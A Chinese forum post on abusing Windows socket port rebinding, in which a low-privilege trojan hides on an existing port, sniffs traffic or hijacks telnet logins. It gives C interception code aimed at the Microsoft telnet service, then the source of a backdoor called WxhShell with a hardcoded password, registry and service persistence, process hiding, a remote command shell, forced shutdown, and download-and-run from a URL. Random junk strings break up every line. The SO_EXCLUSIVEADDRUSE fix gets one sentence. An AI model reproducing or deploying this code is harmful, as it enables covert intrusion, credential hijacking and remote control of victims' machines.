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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3 $~6+i  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q8Z,XfF^S  
s]lIDp}  
  saddr.sin_family = AF_INET; j 1Ng[  
xllk hD4F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CLn}BxgD  
udld[f.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8dBG ZwyET  
 + f+#W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e [}m@a  
c;M&;'#x  
  这意味着什么?意味着可以进行如下的攻击: Pl9Ky(Q`V  
"{1SDbwmMo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $t1XoL  
Z` ;.62S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) - C  
QP%*`t?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 a ,EApUWw  
2{`[<w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +CQ$-3  
7?[{/`k~?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )|Il@unp/  
VK~ OL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "&@v[O)!xu  
O]/BNacS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q*GJREC  
>^U$2P  
  #include "&Y5Nh  
  #include p,cw- lN  
  #include Wwf],Ya  
  #include    Q r n^T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XZ3)gYQi  
  int main() E\GD hfTQ  
  { 9^AfT>b~f  
  WORD wVersionRequested; }}cS-p  
  DWORD ret; rNl` w.  
  WSADATA wsaData; l+V#`S*q  
  BOOL val; ;DG&HO   
  SOCKADDR_IN saddr; W/?\8AE  
  SOCKADDR_IN scaddr; %K$f2):  
  int err; Cnv M>]  
  SOCKET s; hj<h]dhp  
  SOCKET sc; 0>aAI3E  
  int caddsize; lY,dyNFHV  
  HANDLE mt; "=/YPw^0  
  DWORD tid;   qFpRY7eq  
  wVersionRequested = MAKEWORD( 2, 2 ); jQ 'r};;  
  err = WSAStartup( wVersionRequested, &wsaData ); >U2[]fu  
  if ( err != 0 ) { zHT22o56X  
  printf("error!WSAStartup failed!\n"); <h vVh9  
  return -1; i_KAD U&mP  
  } ~Wox"h}(  
  saddr.sin_family = AF_INET; .w@o%AO_  
   QL{^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BB)( #yoi  
7YLG<G!v)]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b5Sgf'B^  
  saddr.sin_port = htons(23); XoO#{7a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n$}) }kj  
  { tu%!j}3s  
  printf("error!socket failed!\n"); r^2>60q'  
  return -1; ]a ,H!0i  
  } ;t_'87h$y  
  val = TRUE; vnrP;T=^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 );~JyoDo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gTby%6- \|  
  { :I)WSXP9h  
  printf("error!setsockopt failed!\n"); = ;!$Qw4  
  return -1; |oL}c!0vs  
  } .8I\=+Zi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; EU0b>2n4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FkS$x'~2$  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F79!B  
QUSyVp{$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lCznH?[  
  { 4,yS7l  
  ret=GetLastError(); Y#A0ud,  
  printf("error!bind failed!\n"); P*\h)F/3}t  
  return -1; bL)7 /E  
  } T`?{Is['(  
  listen(s,2); a7_&;  
  while(1) ZtFOIb*  
  { (oKrIm  
  caddsize = sizeof(scaddr); <Y9 L3O`[  
  //接受连接请求 <$8`]e?I  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T]#S=]G  
  if(sc!=INVALID_SOCKET) n!Dy-)!`O  
  { 7[)IP:I>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wE4:$+R};  
  if(mt==NULL)  Q9!T@  
  { ]l~TI8gC  
  printf("Thread Creat Failed!\n"); Z%t"~r0PS  
  break; D^Cpgha  
  } e=yQFzQT)  
  } M y vyp  
  CloseHandle(mt); ;]/emw=a  
  } |v[0(  
  closesocket(s); /&`sB|  
  WSACleanup(); ?df*Y5I2  
  return 0; @'Y^A  
  }   s_j ?L  
  DWORD WINAPI ClientThread(LPVOID lpParam) X:c k  
  { 5R?[My  
  SOCKET ss = (SOCKET)lpParam; 5ml#/kE  
  SOCKET sc; YaWZOuxm  
  unsigned char buf[4096]; )nI}KQJ<  
  SOCKADDR_IN saddr; W>*9T?  
  long num; YH 5jvvOI  
  DWORD val; 1%R8q=_  
  DWORD ret; WLB@]JvTBY  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *T+Bjj;w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^Qx qv  
  saddr.sin_family = AF_INET; -F+ )N$CW  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &:3uK`  
  saddr.sin_port = htons(23); LMF@-j%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N"+o=nS  
  { tcm?qro)  
  printf("error!socket failed!\n"); XlPi)3m4/S  
  return -1; ^^O @ [_  
  } p#yq'kY  
  val = 100; L93PDp4v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3kc.U  
  { ]rpU3 3  
  ret = GetLastError(); }#0i1]n$D  
  return -1; Tgf#I*(^]  
  } V^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VN5UJ!$?J  
  { lh N2xg5x  
  ret = GetLastError(); {Y\W&Edw%  
  return -1; Exy|^Dr0  
  } Pa8E.<>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T=NF5kj-=  
  { </.9QV  
  printf("error!socket connect failed!\n"); g"F&~y/p  
  closesocket(sc); +kMVl_` V  
  closesocket(ss); >l!#_a  
  return -1; ++HHUM  
  } (pU@$H  
  while(1) T@S\:P  
  { re$xeq\1P?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4IT`8n~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OrZ=-9"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0G=bu5  
  num = recv(ss,buf,4096,0); .:`+4n  
  if(num>0) 7;w x,7CUq  
  send(sc,buf,num,0); !ULU#2'1  
  else if(num==0) .w.jT"uD!  
  break; C`++r>  
  num = recv(sc,buf,4096,0); sv g`s,g  
  if(num>0) 3>+9Rru  
  send(ss,buf,num,0); TN+iv8sT  
  else if(num==0) aLWNqe&1  
  break; swfcA\7R  
  } |\ZsoA  
  closesocket(ss); %/K'VE6pb  
  closesocket(sc); &J <km  
  return 0 ; C,;hNg[  
  } "X.JD  
LhfI"fc  
na5:)j4<  
========================================================== (D?%(f  
#TXN\YNP  
下边附上一个代码,,WXhSHELL BeNH"Y:E  
1&Fty'p  
========================================================== {1<XOp#b  
n0nvp@?7bJ  
#include "stdafx.h" w6PKr^  
&7}\mnhB  
#include <stdio.h> G<5i %@  
#include <string.h> x=/`W^t2  
#include <windows.h> Ez= Q{g  
#include <winsock2.h> e13{G @  
#include <winsvc.h> %y{f] m  
#include <urlmon.h> Qh0tU<jG  
D)]U+Qk  
#pragma comment (lib, "Ws2_32.lib") a/n KKhXaM  
#pragma comment (lib, "urlmon.lib") #]~l]Eq  
gG 9e.++:  
#define MAX_USER   100 // 最大客户端连接数 /YyimG7  
#define BUF_SOCK   200 // sock buffer _D{V(c<WD  
#define KEY_BUFF   255 // 输入 buffer XMR$I&;G8  
>I~$h,  
#define REBOOT     0   // 重启 "<#-#j  
#define SHUTDOWN   1   // 关机 WRq:xDRn0  
|qn`z-  
#define DEF_PORT   5000 // 监听端口 $RFy9(>  
DR d|m<Z  
#define REG_LEN     16   // 注册表键长度 5`!Bj0Uf  
#define SVC_LEN     80   // NT服务名长度 #dvH0LX?  
)*b dG'}  
// 从dll定义API HP$GI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); pBd_Ba N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d>RoH]K4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \A{ [2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); p}b:(QN~m  
c Nhy.Z~D  
// wxhshell配置信息 dTE(+M- Gr  
struct WSCFG { <~%e{F:[#  
  int ws_port;         // 监听端口 $,mljJSQv  
  char ws_passstr[REG_LEN]; // 口令 efc<lSUR  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?)Psf/  
  char ws_regname[REG_LEN]; // 注册表键名 W -pN  
  char ws_svcname[REG_LEN]; // 服务名 TL29{'4V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +*O$]Hh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8RA]h?$$J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;2NJkn9t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nB~hmE)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jGeil qPC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4(h19-V  
?yfw3s  
}; 4*)a3jI?  
^ B>BA  
// default Wxhshell configuration ]uikE2nn  
struct WSCFG wscfg={DEF_PORT, jHU5>Gt-}  
    "xuhuanlingzhe", ?4[IIX-  
    1, PNSV?RT*pG  
    "Wxhshell", !XJvhsKXy  
    "Wxhshell", y1oQ4|KSI  
            "WxhShell Service", ^`HP&V  
    "Wrsky Windows CmdShell Service", 2"'<Yk9  
    "Please Input Your Password: ", E1=WH-iA0  
  1, kF1Tg KSd  
  "http://www.wrsky.com/wxhshell.exe", (oftq!X2  
  "Wxhshell.exe" |8|_^`  
    }; L"_l(<g  
oy;g;dtq  
// 消息定义模块 rt _k }  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A;06Zrf1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2 SJ N;A~}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d,hKy2  
char *msg_ws_ext="\n\rExit."; !xIK<H{*  
char *msg_ws_end="\n\rQuit."; J&B>"s,  
char *msg_ws_boot="\n\rReboot..."; _3pME9l  
char *msg_ws_poff="\n\rShutdown..."; l{2Y[&%  
char *msg_ws_down="\n\rSave to "; RF#S=X6  
6*{sZMG  
char *msg_ws_err="\n\rErr!"; 3eg)O34  
char *msg_ws_ok="\n\rOK!"; Wubvvm8U  
"-WEUz  
char ExeFile[MAX_PATH]; Bb~Q]V=x;  
int nUser = 0; 4YT d  
HANDLE handles[MAX_USER]; ; qQ* p  
int OsIsNt; ^#V7\;v$G  
Fm|h3.`V  
SERVICE_STATUS       serviceStatus; =vpXYj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d'x'hp%  
wa)E.(x  
// 函数声明 (>LJv |wn  
int Install(void); ++m^z` D  
int Uninstall(void); snH9@!cG8  
int DownloadFile(char *sURL, SOCKET wsh); 77]6_  
int Boot(int flag); Z [aKic  
void HideProc(void); pZ IDGy=~  
int GetOsVer(void); `veq/!  
int Wxhshell(SOCKET wsl); 68!W~%?pR  
void TalkWithClient(void *cs); &4dh$w]q  
int CmdShell(SOCKET sock); 'Avp16zg  
int StartFromService(void); 1 luRTI8^  
int StartWxhshell(LPSTR lpCmdLine); }Qqi013E L  
19g-#H!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A~!v+W%vO1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %VSjMZ  
q[wVC h  
// 数据结构和表定义 c9 &LK J6  
SERVICE_TABLE_ENTRY DispatchTable[] = b: c$EPK  
{ d:_3V rRZ  
{wscfg.ws_svcname, NTServiceMain}, )~Pj 3  
{NULL, NULL} Jtv~n  
}; g]ct6-m  
q_R^Q>ZIe  
// 自我安装 BM }{};p6  
int Install(void) }OJ,<!v2pc  
{ 4D4Y.g_x  
  char svExeFile[MAX_PATH]; G]$.bq[v  
  HKEY key; 2JMMNpya  
  strcpy(svExeFile,ExeFile); #guq/g$  
$#HPwmd  
// 如果是win9x系统,修改注册表设为自启动 N!TC}#}l  
if(!OsIsNt) { 88}=VS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,P T5-9 m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZDhl$m [m  
  RegCloseKey(key); JDI1l_Ga  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9iwSE(},  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z5UY0>+VdS  
  RegCloseKey(key); g?mfpwZj  
  return 0; s (hJ *  
    } '1Z3MjX  
  } #\{j/{VZ  
} G'dN_6ho3  
else { c:@lR/oe"  
T+q3]&  
// 如果是NT以上系统,安装为系统服务 ^p2_p9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i:@n6GW+iw  
if (schSCManager!=0) "h84D&V  
{ oA;> z  
  SC_HANDLE schService = CreateService |_H{ B+.  
  ( &l<~Xd#  
  schSCManager, L+]|-L`S  
  wscfg.ws_svcname, 9P)28\4  
  wscfg.ws_svcdisp, >X$I:M<L  
  SERVICE_ALL_ACCESS, `:4bg1u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v< Ozr:lL  
  SERVICE_AUTO_START, i+Fk  
  SERVICE_ERROR_NORMAL, U~}cib5W5  
  svExeFile, PIthv [F  
  NULL, @5)THYAx4  
  NULL, +Y9n@`  
  NULL, #6'+e35^8  
  NULL, iDdmr32E  
  NULL =a]B#uUn  
  ); `+c8;p'q  
  if (schService!=0) _ft)e3Gf  
  { 'y? HF@NJ  
  CloseServiceHandle(schService); KsG>,# Q  
  CloseServiceHandle(schSCManager); ).8i*Ys,:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yaw33/iN  
  strcat(svExeFile,wscfg.ws_svcname); >+3tOv3:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w<o#/J9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [? 1m6u;  
  RegCloseKey(key); YZHqy++x  
  return 0; /yd<+on^  
    } f:K3 P[|  
  } IW&.JNcN  
  CloseServiceHandle(schSCManager); aP}%&{iC*  
} h{BO\^6x  
} _ITA$ #  
_XP3|E;I/  
return 1; pRTdP/(OQ  
} Sd\+f6x  
b- FJMY  
// 自我卸载 wvu h   
int Uninstall(void) 3v:c".O2O  
{ J_tI]?jrU  
  HKEY key; OM1pyt  
% QKlvmI"  
if(!OsIsNt) { a+_F^   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M?FbBJ`sF  
  RegDeleteValue(key,wscfg.ws_regname); `B GU  
  RegCloseKey(key); n@e[5f9?x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oKlOcws}  
  RegDeleteValue(key,wscfg.ws_regname); z!0 }Kj  
  RegCloseKey(key); Do\YPo_Mr  
  return 0; OpT0V]k^"9  
  } XY*KWO  
} Ze:Y"49S+>  
} 'aAay*1  
else { !arTR.b\  
6 z2_b wo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eCI0o5U  
if (schSCManager!=0) +'{@Xe}  
{ +P//p$pE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z7@~#)3  
  if (schService!=0) 45DR%cz  
  { xn`<g|"#  
  if(DeleteService(schService)!=0) { 1$^=M[v  
  CloseServiceHandle(schService); <Ky6|&!  
  CloseServiceHandle(schSCManager); J@4,@+X  
  return 0; HbUadPr  
  } `tjH#W`  
  CloseServiceHandle(schService); xSal=a;k  
  } :87HXz6]jS  
  CloseServiceHandle(schSCManager); wsg u# as|  
} |:{H4  
} F,l%SQCyj  
ZR|cZH1}C  
return 1; =nTNL.SX  
} rcyq+wY #  
u}L;/1,B  
// 从指定url下载文件 &8^1:CcE  
int DownloadFile(char *sURL, SOCKET wsh) SyWLPh  
{ g0n 5&X  
  HRESULT hr; c{SD=wRt,y  
char seps[]= "/"; 4\?GA`@  
char *token; C $r]]MSj  
char *file; G'\x9%  
char myURL[MAX_PATH]; ?t{ 2y1  
char myFILE[MAX_PATH]; TzW1+DxM5  
kl90w  
strcpy(myURL,sURL); 5 Y|(i1  
  token=strtok(myURL,seps); Ksu_4dE  
  while(token!=NULL) /t<C_lLM  
  { J BN_Upat  
    file=token; oD=6D9c?  
  token=strtok(NULL,seps); (XDK&]U  
  } IxxA8[^V  
@N'0:0Nb_  
GetCurrentDirectory(MAX_PATH,myFILE); {q}#  Sq  
strcat(myFILE, "\\"); ji(Y?vhQt  
strcat(myFILE, file); w&E*{{otJ  
  send(wsh,myFILE,strlen(myFILE),0); oB8x_0#n  
send(wsh,"...",3,0); V,W":&!x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IUJRP  
  if(hr==S_OK) bR*/d-v^  
return 0; mI[$c"!BD  
else 4)4E/q/5  
return 1; , 7kS#`P  
\;%DDw  
} UFED*al#  
!UV/p"CfX  
// 系统电源模块 Wxxnc#;lv  
int Boot(int flag) ?[ts<Ltp  
{ 1~x=bphS  
  HANDLE hToken; JnT1-=t.  
  TOKEN_PRIVILEGES tkp; @}^eyS$|!  
T P5?%SlJ  
  if(OsIsNt) { ~{O9dEI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "Y7 ]t:8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q.N, Q`P  
    tkp.PrivilegeCount = 1; YVEin1]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f4k\hUA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c_33.i"I}  
if(flag==REBOOT) { UQ ~7,D`=#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0qV"R7TW  
  return 0; o.Jq1$)~y  
} 6a=Y_fma  
else { I'NE>!=Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;~>E^0M  
  return 0; ^6Std x_  
} *Y@)t* -a  
  } +-|D$@8S  
  else { \40d?N#D  
if(flag==REBOOT) {  );cu{GY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vX'@we7Q{  
  return 0; %ys-y?r  
} pNHO;N[&  
else { JmR) g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :cmQ w  
  return 0; ``:AF:  
} Ofyz,% |Q  
} %Ny`d49&  
#xopJaY  
return 1; l5m5H,`  
} MZ8jL,a^  
.skR4f,h  
// win9x进程隐藏模块 .kGlUb?^Q  
void HideProc(void) 8-wW?YTG  
{ y8{PAH8S  
nn"Wn2ciS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^rKA=siz  
  if ( hKernel != NULL ) Y\qiYra  
  { *$KUnd-T  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4rh*&'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v GF<  
    FreeLibrary(hKernel); DM-8azq $  
  } L-LN+6r (#  
BE;J/  
return; Vo\RtM/6{  
} p:hzLat~  
eqyZ|6  
// 获取操作系统版本 >}43xIRRCq  
int GetOsVer(void) ?`nF"u>  
{ YGA( "<  
  OSVERSIONINFO winfo; qX GAlCq@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  ^vPt Ppt  
  GetVersionEx(&winfo); _PPW9US{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >tq,F"2amC  
  return 1; @R|Gz/  
  else .3B3Z&vr  
  return 0; ? Q`Sx  
} 4)BPrWea1  
Y]5\%JR  
// 客户端句柄模块 jDp]}d|f)  
int Wxhshell(SOCKET wsl) J#0oL_xY#  
{ C^ hHt,&  
  SOCKET wsh; k+"+s bsW'  
  struct sockaddr_in client; ',Mi D=_  
  DWORD myID; l#FW#`f  
_d$0(  
  while(nUser<MAX_USER) : .-z) C}  
{ 6;lJs,I1w{  
  int nSize=sizeof(client); +G!N@O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r~sx] =/  
  if(wsh==INVALID_SOCKET) return 1; m})q8b!S  
a:o Z5PX=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Sv7_-#SW<(  
if(handles[nUser]==0) QL>G-Rp  
  closesocket(wsh); _)7dy2%{q  
else s7FJJTn  
  nUser++; N F[v/S  
  } JeR8Mb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r|XNS>V ,$  
~=Y <B/  
  return 0; gzK"'4`  
} 3&D;V;ON}_  
wp!<u %  
// 关闭 socket IX7|_ci  
void CloseIt(SOCKET wsh) AQ!FJ(X(  
{ [mSK!Y@u  
closesocket(wsh); jhWNMu  
nUser--; FQR{w  
ExitThread(0); >-Qg4%m  
} o |7]8K=  
rAdYBr=0  
// 客户端请求句柄 }LH>0v_<Y  
void TalkWithClient(void *cs) web =AQ5I4  
{ jb' hqz  
p%A(5DE  
  SOCKET wsh=(SOCKET)cs; 62B` Z5j#  
  char pwd[SVC_LEN]; "+REv_:  
  char cmd[KEY_BUFF]; L%8>deE>;D  
char chr[1]; p_$03q>oQ  
int i,j; X517PT8O  
^@ GE1  
  while (nUser < MAX_USER) { e&C(IEZ/N;  
w#Y<~W&  
if(wscfg.ws_passstr) { )$/Gh&1G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2&E1)^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [?<"SJ,`  
  //ZeroMemory(pwd,KEY_BUFF); /3*75  
      i=0; x@F"ZiYD@O  
  while(i<SVC_LEN) { j:%~:  
@L%9NqE`O  
  // 设置超时 R|T_9/#)  
  fd_set FdRead; Gd)@PWK  
  struct timeval TimeOut; BJ3st  
  FD_ZERO(&FdRead); 29K09 0f  
  FD_SET(wsh,&FdRead); D?rQQxb  
  TimeOut.tv_sec=8; R>"E Xq  
  TimeOut.tv_usec=0; " }@QL`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z.g'8#@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :\Z;FA@g(g  
.`!|^h%0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C#X0Cn0ln  
  pwd=chr[0]; 5Qp5JMK  
  if(chr[0]==0xd || chr[0]==0xa) { b|T}mn  
  pwd=0; ;l_%;O5  
  break; ,CguY/y  
  } H&6 5X  
  i++; rN)T xH&*p  
    } pR8]HNY0  
:K&   
  // 如果是非法用户,关闭 socket E[J7FgU)<S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tr2@{xb  
} 22L#\qVkl  
XF1x*zc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0X\,!FL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >2 gemTy  
8jxgSB",  
while(1) { dOq*W<%  
w \pD'1e  
  ZeroMemory(cmd,KEY_BUFF); yzhr"5_  
o}p6qB=;1  
      // 自动支持客户端 telnet标准   YJ]]6 K+  
  j=0; !!ZNemXct$  
  while(j<KEY_BUFF) { M'D;2qo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c"%XE#D  
  cmd[j]=chr[0]; 2.Ym  
  if(chr[0]==0xa || chr[0]==0xd) { __""!Yz  
  cmd[j]=0; vBd^=O  
  break; 0fnd9`N!0  
  } 4YkH;!M>ji  
  j++;  o@_pV  
    } U]dz_%CRP  
6OMywGI[Z  
  // 下载文件 $=n|MbFl  
  if(strstr(cmd,"http://")) { w}<BO> z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \LRno3  
  if(DownloadFile(cmd,wsh)) A>^\jIB>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]%(hZZ  
  else :|oH11 y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3|RfX  
  } )Y@  
  else { .eW}@1+[;  
\cvui^^n  
    switch(cmd[0]) { @* L^Jgn  
  .O'S@ %]  
  // 帮助 )cB00*/  
  case '?': { eJ>(SkR:[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |sHIT<=m  
    break; 0X#tt`;  
  } "8VCXD  
  // 安装 5xP\6Nx6&5  
  case 'i': { *G$tfb(  
    if(Install()) d c_^   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UaCEh?D+Y  
    else wFpt#_fS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c+#GX)zh\G  
    break; TPp%II'*  
    } L #p-AK  
  // 卸载 c]F$$BT  
  case 'r': { r ,|T@|{  
    if(Uninstall()) oddS~lW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ofl3G {u  
    else {hK$6bD3^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :*#AJV)  
    break; 2|(J<H  
    } GDP@M)~6*  
  // 显示 wxhshell 所在路径 "$PbpY  
  case 'p': { ; P I=jp  
    char svExeFile[MAX_PATH]; /iNCb&[  
    strcpy(svExeFile,"\n\r"); z?_c:]D  
      strcat(svExeFile,ExeFile); ;JA2n\iP,  
        send(wsh,svExeFile,strlen(svExeFile),0); I-4csw<Qy  
    break; gIep6nq1`|  
    } ' A= x  
  // 重启 aDR<5_Yb  
  case 'b': { k&ujr:)5Y5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ( }5k"9Z  
    if(Boot(REBOOT)) { dwm>a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5NbI Vz  
    else { Fkj\U^G  
    closesocket(wsh); +ww paR`  
    ExitThread(0); 9*RfOdnNe  
    } =(K;z9OR  
    break; L{Epkay,{  
    } :51Q~5k4  
  // 关机 &CF74AN#  
  case 'd': { cysYjuI i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F4>}mIA  
